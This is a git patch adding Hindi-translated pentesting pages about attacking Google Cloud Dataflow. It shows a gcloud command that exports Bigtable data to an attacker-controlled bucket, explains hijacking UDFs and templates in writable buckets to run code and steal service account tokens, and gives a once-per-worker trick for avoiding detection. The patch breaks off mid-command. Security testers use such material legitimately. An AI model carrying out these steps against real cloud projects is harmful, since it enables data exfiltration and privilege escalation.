From 11b1dd01a7fd6affd7d8015bb09941dc7e9d0c5c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 16 Feb 2026 11:12:23 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow --- .../gcp-dataflow-post-exploitation.md | 53 ++++++ .../gcp-dataflow-privesc.md | 174 ++++++++++++++++++ .../gcp-services/gcp-dataflow-enum.md | 81 ++++++++ 3 files changed, 308 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md new file mode 100644 index 000000000..f45d14424 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md @@ -0,0 +1,53 @@ +# GCP - Dataflow Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +Dataflow के बारे में अधिक जानकारी के लिए देखें: + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### अन्य सेवाओं से डेटा exfiltrate करने के लिए Dataflow का उपयोग + +**अनुमतियाँ:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (over a SA with access to source and sink) + +Dataflow job बनाने के अधिकार होने पर, आप GCP Dataflow templates का उपयोग करके Bigtable, BigQuery, Pub/Sub, और अन्य सेवाओं से डेटा attacker-controlled GCS buckets में export कर सकते हैं। यह एक शक्तिशाली post-exploitation technique है जब आपके पास Dataflow access होता है — उदाहरण के लिए [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write) के माध्यम से। + +> [!NOTE] +> आपको उस service account पर `iam.serviceAccounts.actAs` चाहिए जिसके पास स्रोत पढ़ने और sink में लिखने की पर्याप्त permissions हों। डिफ़ॉल्ट रूप से, यदि निर्दिष्ट नहीं किया गया है तो Compute Engine default SA का उपयोग किया जाता है। + +#### Bigtable to GCS + +देखें [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" पूर्ण पैटर्न के लिए। Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`. + +
+ +Export Bigtable to attacker-controlled bucket +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ +``` +
+ +#### BigQuery से GCS + +Dataflow टेम्पलेट मौजूद हैं ताकि आप BigQuery डेटा को export कर सकें। अपने लक्ष्य फ़ॉर्मैट (JSON, Avro, आदि) के लिए उपयुक्त टेम्पलेट का उपयोग करें और आउटपुट को अपने बकेट की ओर निर्देशित करें। + +#### Pub/Sub और स्ट्रीमिंग स्रोत + +स्ट्रीमिंग पाइपलाइन्स Pub/Sub (या अन्य स्रोतों) से पढ़ सकती हैं और GCS में लिख सकती हैं। उस टेम्पलेट के साथ एक जॉब लॉन्च करें जो लक्ष्य Pub/Sub subscription से पढ़े और आपके नियंत्रित बकेट में लिखे। + +## संदर्भ + +- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates) +- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions) +- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md new file mode 100644 index 000000000..2c9a13cad --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -0,0 +1,174 @@ +# GCP - Dataflow Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### `storage.objects.create`, `storage.objects.get`, `storage.objects.update` + +Dataflow GCS में स्टोर किए गए UDFs और job template YAMLs की integrity को validate नहीं करता। +यदि आपके पास bucket write access है, तो आप इन फाइलों को overwrite करके कोड inject कर सकते हैं, workers पर कोड execute कर सकते हैं, service account tokens चुरा सकते हैं, या data processing बदल सकते हैं। +यह अटैक दोनों batch और streaming pipeline jobs के लिए लागू है। किसी pipeline पर इस अटैक को execute करने के लिए हमें job के चलने से पहले, पहले कुछ मिनटों में (जब तक job workers create नहीं होते) या job रन के दौरान पहले नए workers autoscaling के कारण spin up होने से पहले UDFs/templates को replace करना होगा। + +**Attack vectors:** +- **UDF hijacking:** Python (`.py`) और JS (`.js`) UDFs जो pipelines द्वारा reference किए जाते हैं और customer-managed buckets में stored होते हैं +- **Job template hijacking:** Custom YAML pipeline definitions जो customer-managed buckets में stored हों + + +> [!WARNING] +> **Run-once-per-worker trick:** Dataflow UDFs और template callables **per row/line** invoke होते हैं। बिना समन्वय के, exfiltration या token theft हजारों बार चलेंगे, जिससे noise, rate limiting, और detection होगा। एक **file-based coordination** pattern का उपयोग करें: शुरुआत में जांचें कि क्या एक marker file (उदा. `/tmp/pwnd.txt`) मौजूद है; अगर मौजूद हो तो malicious code को skip करें; अगर नहीं है तो payload चलाएँ और वह file बनाएं। इससे payload **once per worker** चलेगा, per line नहीं। + + +#### Direct exploitation via gcloud CLI + +1. Enumerate Dataflow jobs and locate the template/UDF GCS paths: + +
+ +Jobs की सूची बनाकर और describe करके template path, staging location, और UDF references प्राप्त करें +```bash +# List jobs (optionally filter by region) +gcloud dataflow jobs list --region= +gcloud dataflow jobs list --project= + +# Describe a job to get template GCS path, staging location, and any UDF/template references +gcloud dataflow jobs describe --region= --full --format="yaml" +# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH) +# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath +``` +
+ +2. GCS से मूल UDF या job template डाउनलोड करें: + +
+ +bucket से UDF फ़ाइल या YAML template डाउनलोड करें +```bash +# If job references a UDF at gs://bucket/path/to/udf.py +gcloud storage cp gs:////.py ./udf_original.py + +# Or for a YAML job template +gcloud storage cp gs:////